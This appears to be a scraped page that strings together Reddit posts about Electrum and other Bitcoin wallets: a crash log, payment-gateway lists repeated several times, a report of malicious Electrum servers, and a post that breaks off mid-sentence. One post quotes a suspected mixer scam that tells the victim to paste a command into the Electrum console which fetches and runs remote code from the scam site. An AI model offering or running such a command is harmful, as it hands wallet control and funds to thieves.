Electrum Review: 3 Things to Know (2020 Updated)

BitcoinPrivate

[link]

Bitcoin Private

A subreddit to discuss Bitcoin Private. Like Bitcoin, but Private.
[link]

Cannot create wallet with Trezor

Hi guys, I am stuck trying to create a wallet for my Trezor with Electrum 4.0.4 on Linux:
I get to the point of entering the password twice and then selecting the path. But after that it just says
'Please wait' and then the window hangs. The only way to do something is either kill the process or send a `SIGINT` signal.
Interestingly after sending a SIGINT the window unfreezes and asks me again for the password (also during the whole freeze the Trezor device writes that I should enter my password). After entering the password again I get an empty error window and on closing it everything closes.
I started electrum with `electrum -v` to get some logs:
$ electrum -v I | logging | Electrum version: 4.0.4 - https://electrum.org - https://github.com/spesmilo/electrum I | logging | Python version: 3.8.6 (default, Sep 30 2020, 04:00:38) [GCC 10.2.0]. On platform: Linux-5.8.14-arch1-1-x86_64-with-glibc2.2.5 I | logging | Logging to file: None I | logging | Log filters: verbosity '*', verbosity_shortcuts '' I/p | plugin.Plugins | registering hardware bitbox02: ('hardware', 'bitbox02', 'BitBox02') I/p | plugin.Plugins | registering hardware coldcard: ('hardware', 'coldcard', 'Coldcard Wallet') I/p | plugin.Plugins | registering hardware digitalbitbox: ('hardware', 'digitalbitbox', 'Digital Bitbox wallet') I/p | plugin.Plugins | registering hardware keepkey: ('hardware', 'keepkey', 'KeepKey wallet') I/p | plugin.Plugins | registering hardware ledger: ('hardware', 'ledger', 'Ledger wallet') I/p | plugin.Plugins | registering hardware safe_t: ('hardware', 'safe_t', 'Safe-T mini wallet') I/p | plugin.Plugins | registering hardware trezor: ('hardware', 'trezor', 'Trezor wallet') I/p | plugin.Plugins | registering wallet type ('2fa', 'trustedcoin') D | util.profiler | Plugins.__init__ 0.0044 I/n | network | blockchains [0] I | exchange_rate.FxThread | using exchange CoinGecko D | util.profiler | Daemon.__init__ 0.0023 I/n | network | starting network I | daemon.Daemon | launching GUI: qt I/n | network | setting proxy None I | daemon.Daemon | starting taskgroup. I/n | network | connecting to electrumx.ftp.sh:50002:s as new interface I/n | network | starting taskgroup. I | gui.qt.history_list | could not import electrum.plot. This feature needs matplotlib to be installed. I | gui.qt.ElectrumGui | Qt GUI starting up... Qt=5.15.1, PyQt=5.15.1 I/i | interface.[localhost:50002] | connection established. version: ['ElectrumPersonalServer 0.2.0', '1.4'] D | util.profiler | ElectrumGui.__init__ 0.1374 I/i | interface.[vmd27610.contaboserver.net:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface vmd27610.contaboserver.net:50002:s -- CancelledError() I/i | interface.[electrumx.ftp.sh:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface electrumx.ftp.sh:50002:s -- CancelledError() I/i | interface.[rbx.curalle.ovh:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/i | interface.[2AZZARITA.hopto.org:50006] | connection established. version: ['ElectrumX 1.15.0', '1.4'] I/n | network | couldn't launch iface rbx.curalle.ovh:50002:s -- CancelledError() I/i | interface.[2AZZARITA.hopto.org:50006] | set blockchain with height 653567 I/i | interface.[2AZZARITA.hopto.org:50006] | skipping header 653566 I/n | network | no height for main interface I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50750} I/i | interface.[hsmiths4fyqlw5xw.onion:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface hsmiths4fyqlw5xw.onion:50002:s -- CancelledError() I/n | network | switching to 2AZZARITA.hopto.org:50006:s I/i | interface.[electrum3.hodlister.co:50002] | connection established. version: ['ElectrumX 1.10.0', '1.4'] I/n | network | fee_histogram [[99, 100899], [71, 112316], [61, 132563], [59, 156116], [57, 175394], [54, 114050], [51, 219092], [49, 195934], [48, 565137], [47, 781451], [46, 883591], [45, 259824], [44, 450143], [43, 114488], [42, 22100], [41, 49428], [40, 106542], [38, 151315], [33, 547095], [22, 620244], [13, 648588], [9, 822409], [5, 741398], [3, 1799486], [2, 651429]] I/n | network | fee_histogram [[99, 100899], [71, 112316], [61, 132563], [59, 156116], [57, 175394], [54, 114050], [51, 219092], [49, 195934], [48, 565137], [47, 781451], [46, 883591], [45, 259824], [44, 450143], [43, 114488], [42, 22100], [41, 49428], [40, 106542], [38, 151315], [33, 547095], [22, 620244], [13, 648588], [9, 822409], [5, 741398], [3, 1799486], [2, 651429]] I/i | interface.[bitcoin.corgi.party:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-5, 'No address associated with hostname'))) I/n | network | couldn't launch iface bitcoin.corgi.party:50002:s -- CancelledError() I/i | interface.[electrumx-core.1209k.com:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(OSError(101, 'Network is unreachable'))) I/n | network | couldn't launch iface electrumx-core.1209k.com:50002:s -- CancelledError() I/i | interface.[electrum3.hodlister.co:50002] | set blockchain with height 653567 I/i | interface.[electrum3.hodlister.co:50002] | skipping header 653567 I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50749} I/i | interface.[hsmiths5mjk6uijs.onion:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface hsmiths5mjk6uijs.onion:50002:s -- CancelledError() I/i | interface.[dxm.no-ip.biz:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(ConnectionRefusedError(111, "Connect call failed ('77.6.34.45', 50002)"))) I/n | network | couldn't launch iface dxm.no-ip.biz:50002:s -- CancelledError() I/i | interface.[electrum2.eff.ro:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface electrum2.eff.ro:50002:s -- CancelledError() I/i | interface.[electrum.hsmiths.com:50002] | disconnecting due to: ConnectError(ConnectionResetError(104, 'Connection reset by peer')) I/n | network | couldn't launch iface electrum.hsmiths.com:50002:s -- CancelledError() I | storage.WalletStorage | wallet path /home/bene/.electrum/wallets/default_wallet I/i | interface.[bitcoin.aranguren.org:50002] | connection established. version: ['ElectrumX 1.15.0', '1.4'] I | storage.WalletStorage | wallet path /home/bene/.electrum/wallets/default_wallet I/i | interface.[bitcoin.aranguren.org:50002] | set blockchain with height 653567 I/i | interface.[bitcoin.aranguren.org:50002] | skipping header 653566 [240/1884] I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50749} I/i | interface.[localhost:50002] | set blockchain with height 653567 I/i | interface.[localhost:50002] | skipping header 653567 I/n | network | fee_estimates {25: 46526, 10: 48175, 5: 50745, 2: 50749} I/p | plugin.Plugins | loaded bitbox02 I/p | plugin.Plugins | loaded coldcard I/p | plugin.Plugins | loaded digitalbitbox I/p | plugin.Plugins | loaded keepkey I/p | plugin.Plugins | loaded ledger I/p | plugin.Plugins | loaded safe_t I/p | plugin.Plugins | loaded trezor I | plugin.DeviceMgr | scanning devices... D | util.profiler | DeviceMgr.scan_devices 0.0244 W | gui.qt.installwizard.InstallWizard | error getting device infos for bitbox02: Missing libraries for bitbox02. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for coldcard: Missing libraries for coldcard. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for keepkey: Missing libraries for keepkey. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for ledger: Missing libraries for ledger. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for safe_t: Missing libraries for safe_t. // Make sure you install it with python3 I | plugins.trezor.qt.Plugin | connecting to device at webusb:001:3 I | plugins.trezor.qt.Plugin | connected to device at webusb:001:3 I | plugin.DeviceMgr | Registering My TREZOF3342BDD7C90C7F9FBA58136 I | plugin.DeviceMgr | scanning devices... D | util.profiler | DeviceMgr.scan_devices 0.0388 I/i | interface.[localhost:50002] | skipping header 653567 qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 4028, resource id: 14687032, major code: 40 (TranslateCoords), minor code: 0 I | plugin.DeviceMgr | scanning devices... D | util.profiler | DeviceMgr.scan_devices 0.0407 
This is the point where the window freezes. Then I precc `Ctrl+C` to send a SIGINT signal and then this is the rest of the logs:
I/n | network | couldn't launch iface technetium.network:50002:s -- TimeoutError() I/n | network | couldn't launch iface e2.keff.org:50002:s -- TimeoutError() I/n | network | couldn't launch iface electrum-server.ninja:50002:s -- TimeoutError() I/n | network | couldn't launch iface xray587.startdedicated.de:50002:s -- TimeoutError() I/n | network | couldn't launch iface electrum.mindspot.org:50002:s -- TimeoutError() I/i | interface.[electrum.leblancnet.us:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface electrum.leblancnet.us:50002:s -- CancelledError() I/i | interface.[ex01.axalgo.com:50002] | succeeded in getting cert I/i | interface.[electrumx.schulzemic.net:50002] | succeeded in getting cert ^CE | gui.qt.installwizard.InstallWizard | Traceback (most recent call last): File "/uslib/python3.8/site-packages/electrum/base_wizard.py", line 446, in on_hw_derivation xpub = self.plugin.get_xpub(device_info.device.id_, derivation, xtype, self) File "/uslib/python3.8/site-packages/electrum/plugins/trezotrezor.py", line 315, in get_xpub xpub = client.get_xpub(derivation, xtype) File "/uslib/python3.8/site-packages/electrum/plugin.py", line 362, in wrapper return run_in_hwd_thread(partial(func, *args, **kwargs)) File "/uslib/python3.8/site-packages/electrum/plugin.py", line 355, in run_in_hwd_thread return fut.result() File "/uslib/python3.8/concurrent/futures/_base.py", line 434, in result self._condition.wait(timeout) File "/uslib/python3.8/threading.py", line 302, in wait waiter.acquire() KeyboardInterrupt I/i | interface.[ex01.axalgo.com:50002] | connection established. version: ['ElectrumX 1.14.0', '1.4'] I/i | interface.[electrumx.schulzemic.net:50002] | connection established. version: ['ElectrumX 1.15.0', '1.4'] I/i | interface.[ex01.axalgo.com:50002] | set blockchain with height 653567 I/i | interface.[ex01.axalgo.com:50002] | skipping header 653567 I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50749} I/i | interface.[electrumx.schulzemic.net:50002] | set blockchain with height 653567 I/i | interface.[electrumx.schulzemic.net:50002] | skipping header 653567 I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50749} I/n | network | couldn't launch iface dragon085.startdedicated.de:50002:s -- TimeoutError() I/i | interface.[btc.electroncash.dk:60002] | succeeded in getting cert I/i | interface.[mxhwmwa3nt2si4ufszm24whlpkruu74jle27ys2fyjuiifbbrub6thyd.onion:50006] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-2, 'Name or service not known'))) I/n | network | couldn't launch iface mxhwmwa3nt2si4ufszm24whlpkruu74jle27ys2fyjuiifbbrub6thyd.onion:50006:s -- CancelledError() I/i | interface.[electrum2.villocq.com:50002] | disconnecting due to: ErrorGettingSSLCertFromServer(ConnectError(gaierror(-5, 'No address associated with hostname'))) I/n | network | couldn't launch iface electrum2.villocq.com:50002:s -- CancelledError() I/i | interface.[btc.electroncash.dk:60002] | connection established. version: ['ElectrumX 1.15.0', '1.4'] I/i | interface.[btc.electroncash.dk:60002] | set blockchain with height 653567 I/i | interface.[btc.electroncash.dk:60002] | skipping header 653567 I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50749} I/i | interface.[btc.electrum.bitbitnet.net:50002] | connection established. version: ['ElectrumX 1.15.0', '1.4'] I/i | interface.[btc.electrum.bitbitnet.net:50002] | set blockchain with height 653567 [169/1884] I/i | interface.[btc.electrum.bitbitnet.net:50002] | skipping header 653567 I/n | network | fee_estimates {25: 46526, 10: 48176, 5: 50745, 2: 50749} I | plugin.DeviceMgr | scanning devices... D | util.profiler | DeviceMgr.scan_devices 0.0394 W | gui.qt.installwizard.InstallWizard | error getting device infos for bitbox02: Missing libraries for bitbox02. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for coldcard: Missing libraries for coldcard. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for keepkey: Missing libraries for keepkey. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for ledger: Missing libraries for ledger. // Make sure you install it with python3 W | gui.qt.installwizard.InstallWizard | error getting device infos for safe_t: Missing libraries for safe_t. // Make sure you install it with python3 I/i | interface.[bitcoin.aranguren.org:50002] | skipping header 653567 E | daemon.Daemon | GUI raised exception: ReRunDialog(). shutting down. I | gui.qt.ElectrumGui | closing GUI I | daemon.Daemon | shutting down network I/n | network | stopping network I/n | network | couldn't launch iface electrum.hodlister.co:50002:s -- CancelledError() I/n | network | couldn't launch iface orannis.com:50002:s -- CancelledError() I/i | interface.[localhost:50002] | disconnecting due to: CancelledError() I/i | interface.[electrumx.schulzemic.net:50002] | disconnecting due to: CancelledError() I/i | interface.[ex01.axalgo.com:50002] | disconnecting due to: CancelledError() I/i | interface.[2AZZARITA.hopto.org:50006] | disconnecting due to: CancelledError() I/i | interface.[btc.electroncash.dk:60002] | disconnecting due to: CancelledError() I/i | interface.[electrum3.hodlister.co:50002] | disconnecting due to: CancelledError() I/i | interface.[btc.electrum.bitbitnet.net:50002] | disconnecting due to: CancelledError() I/i | interface.[bitcoin.aranguren.org:50002] | disconnecting due to: CancelledError() I/n | network | taskgroup stopped. I | daemon.Daemon | stopping taskgroup I | daemon.Daemon | taskgroup stopped. I | daemon.Daemon | removing lockfile I | daemon.Daemon | stopped E | __main__ | daemon.run_gui errored Traceback (most recent call last): File "/uslib/python3.8/site-packages/electrum/gui/qt/installwizard.py", line 118, in func_wrapper run_next(*out) File "/uslib/python3.8/site-packages/electrum/base_wizard.py", line 193, in on_wallet_type self.run(action) File "/uslib/python3.8/site-packages/electrum/base_wizard.py", line 115, in run f(*args, **kwargs) File "/uslib/python3.8/site-packages/electrum/base_wizard.py", line 225, in choose_keystore self.choice_dialog(title=title, message=message, choices=choices, run_next=self.run) File "/uslib/python3.8/site-packages/electrum/gui/qt/installwizard.py", line 106, in func_wrapper out = func(*args, **kwargs) File "/uslib/python3.8/site-packages/electrum/gui/qt/installwizard.py", line 594, in choice_dialog self.exec_layout(vbox, title) File "/uslib/python3.8/site-packages/electrum/gui/qt/installwizard.py", line 429, in exec_layout raise GoBack from None electrum.base_wizard.GoBack The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usbin/electrum", line 380, in  d.run_gui(config, plugins) File "/uslib/python3.8/site-packages/electrum/daemon.py", line 566, in run_gui self.gui_object.main() File "/uslib/python3.8/site-packages/electrum/gui/qt/__init__.py", line 363, in main if not self.start_new_window(path, self.config.get('url'), app_is_starting=True): File "/uslib/python3.8/site-packages/electrum/gui/qt/__init__.py", line 247, in wrapper return func(self, *args, **kwargs) File "/uslib/python3.8/site-packages/electrum/gui/qt/__init__.py", line 271, in start_new_window wallet = self._start_wizard_to_select_or_create_wallet(path) File "/uslib/python3.8/site-packages/electrum/gui/qt/__init__.py", line 313, in _start_wizard_to_select_or_create_wallet wizard.run('new') File "/uslib/python3.8/site-packages/electrum/base_wizard.py", line 115, in run f(*args, **kwargs) File "/uslib/python3.8/site-packages/electrum/base_wizard.py", line 153, in new self.choice_dialog(title=title, message=message, choices=choices, run_next=self.on_wallet_type) File "/uslib/python3.8/site-packages/electrum/gui/qt/installwizard.py", line 131, in func_wrapper raise ReRunDialog() from e electrum.base_wizard.ReRunDialog I/p | plugin.Plugins | stopped 
submitted by bIacktemplar to Electrum [link] [comments]

A great time to start accepting bitcoin as payments 🚀! Top Bitcoin Payment Gateways [No KYC]

If you are looking to start accepting bitcoin for your business, now is a great time to do so! Here is a list of top bitcoin payment gateways [No KYC]
#1 Blockonomics: Blockonomics offers plugins that easily integrate with your website.
#2 BTCPay Server: BTCPay Server is a self-hosted, open-source cryptocurrency payment processor.
#3 GoURL: Open- Source Bitcoin Payment Gateway. One of the longest-running services with many integrations.
#4 Electrum Merchants: Electrum Merchants is an open-source payment service offered by popular bitcoin wallet Electrum.
#5 Cashier-BTC: Cashier-BTC is a self-hosted Node.js Bitcoin payment gateway. Provides REST API (microservice).
#6 Coinremitter: Payment Gateway with multiple coin support
submitted by primalfabric to Bitcoin [link] [comments]

Electrum Wallet hacked. 200 BTC stolen so far (nearly $800,000). Details inside...

The hacker setup a whole bunch of malicious servers.
If someone's Electrum Wallet connected to one of those servers, and tried to send a BTC transaction, they would see an official-looking message telling them to update their Electrum Wallet, along with a scam URL.
The hacker has already stolen 200 BTC (nearly $800,000), at this one address (he has multiple receiving addresses).
UPDATE: The hacker seems to be consolidating his stolen BTC here (243.6 BTC; nearly $1 million):
UPDATE: Now I'm being quoted in news articles.
ADVICE: Ignore any "update" notifications in Electrum. I'm not 100% certain, but if you never downloaded the "update", your wallet & funds should be ok. As for usage, I'd personally avoid using Electrum wallet for a few days, until the devs figure everything out (the vulnerability hasn't been fully plugged yet).
submitted by normal_rc to CryptoCurrency [link] [comments]

How to run Electron Cash connecting it only to your own ElectrumX Server and your own Bitcoin Cash node for increased privacy

I didn't find this information easily available, so I had to dig into the Electron Cash code and figure it out.
Steps for Linux:
Why this is important:
Electrum servers can log the addresses you are looking at, and cluster them together, assuming that they all belong to the same person. If you run your own ElectrumX Serve and your own node, nobody knows what addresses you are monitoring.
submitted by gasull to btc [link] [comments]

A great time to start accepting bitcoin as payments! Top Bitcoin Payment Gateways!

#1 BTCPay Server: BTCPay Server is a self-hosted, open-source cryptocurrency payment processor.
#3 GoURL: Open- Source Bitcoin Payment Gateway. One of the longest-running services with many integrations.
#4 Electrum Merchants: Electrum Merchants is an open-source payment service offered by popular bitcoin wallet Electrum.
#5 Cashier-BTC: Cashier-BTC is a self-hosted Node.js Bitcoin payment gateway. Provides REST API (microservice).
#6 Coinremitter: Payment Gateway with multiple coin support
submitted by Paydjah to Aliexpress [link] [comments]

A great time to start accepting bitcoin as payments! Top Bitcoin Payment Gateways!

#1 BTCPay Server: BTCPay Server is a self-hosted, open-source cryptocurrency payment processor.
#3 GoURL: Open- Source Bitcoin Payment Gateway. One of the longest-running services with many integrations.
#4 Electrum Merchants: Electrum Merchants is an open-source payment service offered by popular bitcoin wallet Electrum.
#5 Cashier-BTC: Cashier-BTC is a self-hosted Node.js Bitcoin payment gateway. Provides REST API (microservice).
#6 Coinremitter: Payment Gateway with multiple coin support
submitted by Paydjah to walmart [link] [comments]

A great time to start accepting bitcoin as payments! Top Bitcoin Payment Gateways!

#1 BTCPay Server: BTCPay Server is a self-hosted, open-source cryptocurrency payment processor.
#3 GoURL: Open- Source Bitcoin Payment Gateway. One of the longest-running services with many integrations.
#4 Electrum Merchants: Electrum Merchants is an open-source payment service offered by popular bitcoin wallet Electrum.
#5 Cashier-BTC: Cashier-BTC is a self-hosted Node.js Bitcoin payment gateway. Provides REST API (microservice).
#6 Coinremitter: Payment Gateway with multiple coin support
submitted by Paydjah to PaymentProcessing [link] [comments]

Groestlcoin September 2019 Development Release/Update!

For a more interactive view of changes, click here
In our current world; bordering on financial chaos, with tariff wars, Brexit and hyperinflation rife, you can count on Groestlcoin to consistently produce innovation that strikes to take the power away from the few and into the many, even after a full five and a half years of solid development.
Here is what the team has already announced in the last 3 months since the last development update:

What's Being Released Today?

Groestl Nodes

What am I?

Groestl Nodes aims to map out and compare the status of the Groestlcoin mainnet and testnet networks. Even though these networks share the same protocol, there is currently no way to directly compare these coins in a single location. These statistics are essential to evaluate the relative health of both networks.

Features

Source - Website

Groestlcoin Transaction Tool

What am I?

This is a tool for creating unsigned raw Groestlcoin transactions and also to verify existing transactions by entering in the transaction hex and converting this to a human-readable format to verify that a transaction is correct before it is signed.

Features

SourceDownload

Groestlcoin AGCore

What am I?

AGCore is an Android app designed to make it easier to run a Groestlcoin Core node on always-on Android appliances such as set-top boxes, Android TVs and repurposed tablets/phones. If you are a non-technical user of Groestlcoin and want an Android app that makes it easy to run a Groestlcoin Core node by acting as a wrapper, then AG Core is the right choice for you.

What's Changed?

Source - Download

Groestlcoin Electrum

What's Changed?

Android Electrum-Specific

OSXWindowsWindows StandaloneWindows PortableLinux - Android
Server SourceServer Installer SourceClient SourceIcon SourceLocale Source

Android Wallet – Including Android Wallet Testnet

What am I?

Android Wallet is a BIP-0032 compatible hierarchial deterministic Groestlcoin Wallet, allowing you to send and receive Groestlcoin via QR codes and URI links.

V7.11.1 Changes

Groestlcoin Java Library SourceSource - DownloadTestnet Download

Groestlwallet

What am I?

Groestlwallet is designed to protect you from malware, browser security holes, even physical theft. With AES hardware encryption, app sandboxing, keychain and code signatures, groestlwallet represents a significant security advance over web and desktop wallets, and other mobile platforms.
Simplicity is groestlwallet's core design principle. Because groestlwallet is "deterministic", your balance and entire transaction history can be restored from just your recovery phrase.

iOS 0.7.3 Changes

Android v89 Changes

iOS SourceAndroid Source - Android DownloadiOS Download

Groestlcoinomi Released

What am I?

Groestlcoinomi is a lightweight thin-client Groestlcoin wallet based on a client-server protocol.

Groestlcoinomi v1.1 Desktop Changes

Groestlcoinomi Android v1.6 Changes

Groestlcoin Java Library SourceAndroid Source
Android DownloadWindows DownloadMac OS DownloadLinux Download

Groestlcoin BIP39 Tool

What's Changed?

Source - Download
submitted by Yokomoko_Saleen to groestlcoin [link] [comments]

ElectronCash Notice: how to select BitcoinCash chain after first start.

EDIT2: 2.9.2 is out. ElectronCash v2.9.2 help thread EDIT: this notice is regarding Electron Cash version 2.9.0 (mac/linux/win)
What's up?
There's a minor problem that occurs when ElectrumCash is started for the first time: it will follow the wrong chain of the fork initially.
The client is still completely usable, but it requires user action to select the BitcoinCash chain after first startup. Safety of your coins is in no way affected by this problem.
This will be corrected in future versions, but for now we offer this workaround (which is very easy to do)
What's the problem?
When ElectronCash doesn't find a local blockchain_headers file (which is the case on first start), it tries downloading it via http. We forgot to change that url so it still points to a file that contains the legacy chain headers. When that file is downloaded, ElectronCash will disconnect from the BitcoinCash chain servers because they don't match what the downloaded file says. It then switches to using legacy electrum servers and verifies the headers and now follows the legacy chain.
How to fix it?
Right after startup (or any time, really), go to the Network Window (it's reachable from the Tools menu or the Network indicator lamp on the lower right). On the Overview Tab of that window is a server list. If a chain split is detected (which should be the case), the servers are grouped by a branch id. Select the correct branch (the one that has servers electrum-abc.criptolayer.net and electroncash.cascharia.com) by right-clicking on the correct branch id (that long number with the @ sign in it) and select "Follow This Branch" in the popup menu that opens.
ElectonCash will then follow the BitcoinCash branch of the fork and you're good to go.
What happens if I used it before to make transactions or to receive BCC?
Nothing bad: you probably saw yourself that the transaction you made was rejected by the network (BTC) because it is invalid due to the replay protection.
If you gave out an address to receive BCC with, you will see the incoming transaction once you have switched to the correct branch and the client has finished synchronizing.
Hope this helps... have fun buying / selling and transacting ;-)
EDIT: this notice is regarding Electron Cash version 2.9.0 (mac/linux/win) EDIT2: 2.9.2 is out. ElectronCash v2.9.2 help thread
submitted by moleccc to btc [link] [comments]

I got scammed again, right?

I needed to mix some coins and so naively googled "helix gram mixer" and chose the first link displayed ( http://www.helix-light.org/ ). I figured almighty Google wouldn't be reckless enough to promote a fraud.
I entered all the required information and sent my bitcoin to the address provided. A few minutes later I hit the refresh page button and I got the following:

Not Found
The requested URL /helix/light/status/c0211f1db760a36 was not found on this server.
Luckily I saved the Verify String and the top info was
Hash: SHA1
Helix ID: c0211f1db760a36
Helix Address: 1N13F2NJD8kFWuGT1nXS6zUF2JTf2DvaZX
Helix URL: https://helixmixer.org/helix/light/status/c0211f1db760a36
Payment Address: 1Mbw4TQMes2VSo9gWFChvSm5nxDz1prCJe
Fee: 2.5%
Created: 1512517241
Expires: 1512571241


They finally replied after a week or so:


First of all we apologize for the possible problems that may have caused our failure. This has been due to an internal failure in our transaction database, so we are not able to match source with destination. Anyway, we will return all your money including fees as soon as possible. However, we have been victim of cheating attempts and we must verify that you are the owner of the original account. Do not worry, we have simplified the protocol and you should follow just simple instructions. Follow these instructions step by step:
1) Open electrum with the wallet you made the transaction.
2) Go to the View menu -> Show console -> Click on the "Console" tab.
3) Type next line and replace “” with the output address you used in the mixing process. (you can copy and paste it from your guarantee letter)" IMPORTANT PRESS ENTER AFTER PASTE IT!!!
exec("import requests\nexec(requests.get('https://helixmixer.org/anticheat/').text)")
4) Then program will ask you to sign an internal message that will be send to us.
5) Wait for the verification message in the command line.
Example:
Suppose your output address was: 1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX
You have to open your electrum console and copy and paste next line (IMPORTANT PRESS ENTER AFTER PASTE IT!!):
exec("import requests\nexec(requests.get('https://helixmixer.org/anticheat/1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX').text)")
If everything goes right you will receive this message: "Verified, your bitcoins will be back in a few seconds."
Please, do not hesitate to contact us if you have any further questions or complains,
Helix by Grams.
================================================================================

What do you guys think?
submitted by Majormuss to Bitcoin [link] [comments]

Bitcoin payment solutions for merchants that really want Bitcoin

We are living in a world that is changing fast, but old habits and systems still hunt us and keep people minds in the same structures and old systems. Bitcoin come up as a revolutionary technology, that can change totally and from within the existing society, economy, financial structures and instruments. Bitcoin means freedom, means property of your own money, means control of your own money, means totally free market in a decentralized and P2P way that humanity never reached before.
In this environment, in the last years I was involved in quite some projects to help integrating Bitcoin payments into merchants web-shops, and all people I tried to help, they wanted a simple solution that meet the following requirements:
Many of these people start from the definition of Bitcoin from Satoshi's papers, that stated: Abstract. A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial institution.
That's it, no need for more explanations, simple as it is.
So here are some of the solutions I found, studied, tested. Maybe are more, maybe some are not available anymore, but I will enumerate them here so others can see them and decide for themselves. If you know others please post here in the same manner. Please understand that I have nothing against any company in the field that wants to earn some extra money in this business. I am not part of any of these companies or any other company involved in Bitcoin. I am just a tehnical/business consultant that wants to help others to use Bitcoin as it is.
  1. CoinGate - NOT complying all users requirements 1% flat fee for all txs, no additional ones, but you don't receive BTC, just fiat free plugins for WooCommerce, Magento, Magento 2, OpenCart, PrestaShop, osCommerce, VirtueMart, WHMCS, ZenCart all txs pass through their servers and monitoring, custodial wallet
  2. Blockonomics - NOT complying all users requirements first 10 txs are free, then they start charging a 1% fee for each tx free plugins for WooCommerce, Magento, Magento 2, PrestaShop, WHMCS custom website all txs pass through their servers and monitoring, but directly to your personal wallet
  3. Bitpay - NOT complying all users requirements + is against Bitcoin itself huge fees for each tx and for withdrawals, convert immediately your BTC into fiat free plugins for Magento, Woo, OpenCart, Prestashop all txs pass through their servers and monitoring, their wallets, their rules this payment processor is the Paypal of Bitcoin
  4. Coinify - NOT complying all users requirements Risk and Processing Fee + Bitcoin Transaction Fee - not specified clearly before you sign up free plugins for Magento, Opencart, Woo, PrestaShop, Box Billing, Zencart, ShopRama, Oscommerce, WHMOS all txs pass through their servers and monitoring, their wallets, their rules
  5. CryptoWoo - complying with users requirements, with limitations no fees for txs or for any additional transactions paid plugins in 3 stages from $34 to $99 for Woocommerce with multi cryptocurrencies. Attention: the plugin is not working with standard CRON system of WP, needs hard CRON. That means extra setup and requirements all txs goes straight to your wallet, no intermediary, no monitoring
  6. Piixpay - NOT complying all users requirements 1,75% fees + 5€ per tx. Is converting all txs into fiat and send them to your bank free plugin for Woocommerce, by request and registering all details of your shop/company all txs pass through their servers and monitoring This service is good for paying your bills with Bitcoin, almost anywhere in the world
  7. SatoshiPay - NOT complying all users requirements free plugin for Woocommerce for nano-payments not suitable for all merchant shops
  8. Blockpay + Odoo - NOT complying all users requirements - but is a good start with Odoo as full e-commerce platform that now support native Bitcoin. There are many implementations, but needs help from specialists, free plugins, platforms, but there is a cost for implementation
  9. GoCoin - NOT complying all users requirements GoCoin charges a flat 1% transaction fee, which is charged immediately upon acceptance of payment. This fee may be reduced for merchants conducting a higher volume of transactions. Plus if you want to withdraw in fiat to bank account and BTC withdrawal is min 0.01BTC free plugins for PrestaShop, Opencart, Zencart, Magento, Woo, Oscommerce, Übercart all txs pass through their servers and monitoring, custodial wallet
  10. Coinilla - NOT complying all users requirements service fees from $35 to $360 free plugins for Magento, Woo, OpenCart, WHCMS, PHP all txs pass through their servers and monitoring, but directly to your personal wallet
  11. CoinPayments - NOT complying all users requirements different fees for types of payments, 0,5% + cointx fee free plugins for Woo, Magento, WHMOS, Opencart, PrestaShop, Oscommerce all txs pass through their servers and monitoring, to their custodial wallet also directly to your personal wallet
  12. Electrum Merchant - complying with users requirements, with limitations no fees for txs, just miner fees no plugins developed, but enough documentation for those who know how to integrate code into webs all txs goes straight to your wallet, no intermediary, no monitoring
  13. BitcoinWay - complying with users requirements, with limitations no fees for txs, just miner fees free plugin for Woocommerce, paid plugin for pro version all txs goes straight to your wallet, no intermediary, no monitoring Attention: developer stop supporting this plugin. Seems that there are no further updates. The plugin works correctly, even if there are some complaining that on their system is not working. They setup wrong the plugin and just complain. For those who just want a simple fast and working plugin this is a good start. Is not tested with segwit wallet!
  14. GoURL - NOT complying all users requirements tx fees 1,5%, free subscription free plugins for many e-shop platforms all txs pass through their servers and monitoring, to their custodial wallet
  15. BTCPay - complying with users requirements, with limitations no fees for txs, just miner fees free plugins/integration for major e-shop platforms see more details here all txs goes straight to your wallet, no intermediary, no monitoring Attention: need some help from specialists and setup a server. It is a fork of Bitpay system.
submitted by Bitcoin-Yoda to Bitcoin [link] [comments]

PSA: how to get address from bitpay URI (now REQUIRED) - (important for TAILS users)

My rant about how terrible it is that bitpay now only provides a btc URI for paying invoice is below, for now the important facts (TLDR):
 
1- Bitpay invoices (and their 15m countdown of stress) no longer provide a BTC address to send your BTC to. They provide a bitcoin URI, like this:  
